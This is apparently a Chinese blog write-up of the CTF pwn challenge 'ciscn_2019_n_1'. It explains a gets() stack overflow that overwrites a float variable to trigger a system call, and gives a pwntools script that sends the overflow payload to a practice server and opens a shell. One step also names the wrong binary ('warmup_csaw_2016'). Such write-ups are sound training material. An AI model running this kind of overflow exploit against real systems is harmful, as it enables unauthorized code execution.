当前位置:网站首页>ciscn_2019_n_1
ciscn_2019_n_1
2022-07-23 23:28:00 【长街395】
一、查看文件
先file ./warmup_csaw_2016查看文件类型再checksec --file=warmup_csaw_2016检查一下文件保护情况。


二、IDA反编译
反编译后觉得好像和前几道题不太一样了
看来看去有个函数比较可疑:
双击func()函数查看源码可以看到当v2 = 11.28125时会有一个系统调用。
查看汇编代码双击cs:dword_4007F4可以看到11.28125在内存中的16进制表示为0x41348000。
查看栈结构,此处var_30是v1,而var_4是v2,需要(0x30-0x04)=44个字节就能让栈溢出,最后再填入11.28125对应的十六进制数0x41348000。
三、代码
from pwn import *
# remote()建立远程连接,指明ip和port
io = remote('node4.buuoj.cn', 26965)
payload = b'a'*(0x30 - 0x4) + p64(0x41348000)
io.sendline(payload) #发送数据
io.interactive() #与shell进行交互

总结
还是一道栈溢出的题,我们在那个可疑的函数里发现有两个变量,v1,v2,其中只有v1
可以通过gets()函数输入,但我们的判断的条件是v2=??一个数,我们如和更改v2
值呢,答案是通过v1的溢出来改变v2里的值。
边栏推荐
猜你喜欢

A great open source micro community light forum source code

Grey correlation analysis (matlab)

TAP 系列文章4 | 基于 Backstage 的 TAP 开发者门户

Tap series article 6 | application model of tap
![[web vulnerability exploration] SQL injection vulnerability](/img/94/dc84d7790d5a1823e4b73d513e86be.png)
[web vulnerability exploration] SQL injection vulnerability

Mongodb - Introduction to the use of $exists and the combination of $ne, $nin, $nor, $not in query statements

2、 Digital logic functional unit

Android金九银十的面试你准备的怎么样了?最新Android面试真题汇总助你备战

Tap series article 7 | easy to manage pipeline configuration

The I2C interface mode offline burning operation method of h7-tool has been released (2022-07-16)
随机推荐
mysqlbinlog命令介绍(远程拉取binlog日志)
礪夏行動|源啟數字化:既有模式,還是開源創新?
Tap series article 8 | tap Learning Center - learn through hands-on tutorials
DHCP: prevent rogue DHCP server in the network
[redis] redis installation and client redis cli use (batch operation)
At the forefront of the times, Huawei aims at the wind and sea of digital finance
A great open source micro community light forum source code
The I2C interface mode offline burning operation method of h7-tool has been released (2022-07-16)
TAP 系列文章4 | 基于 Backstage 的 TAP 开发者门户
The canfd/can interface offline burning operation instructions of h7-tool have been updated (2022-07-12)
难怪国内企业ERP应用效果普遍不理想
1000个Okaleido Tiger首发上线Binance NFT,引发抢购热潮
Brief analysis of compiling principle of.Net CLR R2R
Esp8266 nodemcu - get real-time weather from Suning API
Android金九银十的面试你准备的怎么样了?最新Android面试真题汇总助你备战
[array] longest continuous subsequence in nc95 array - difficult
H7-tool serial port offline burning operation instructions, support TTL serial port, RS232 and RS485 (2022-06-30)
Leetcode: palindrome number
Chinese NFT? NFR was born
疑似未系安全带 林志颖伤势相对稳定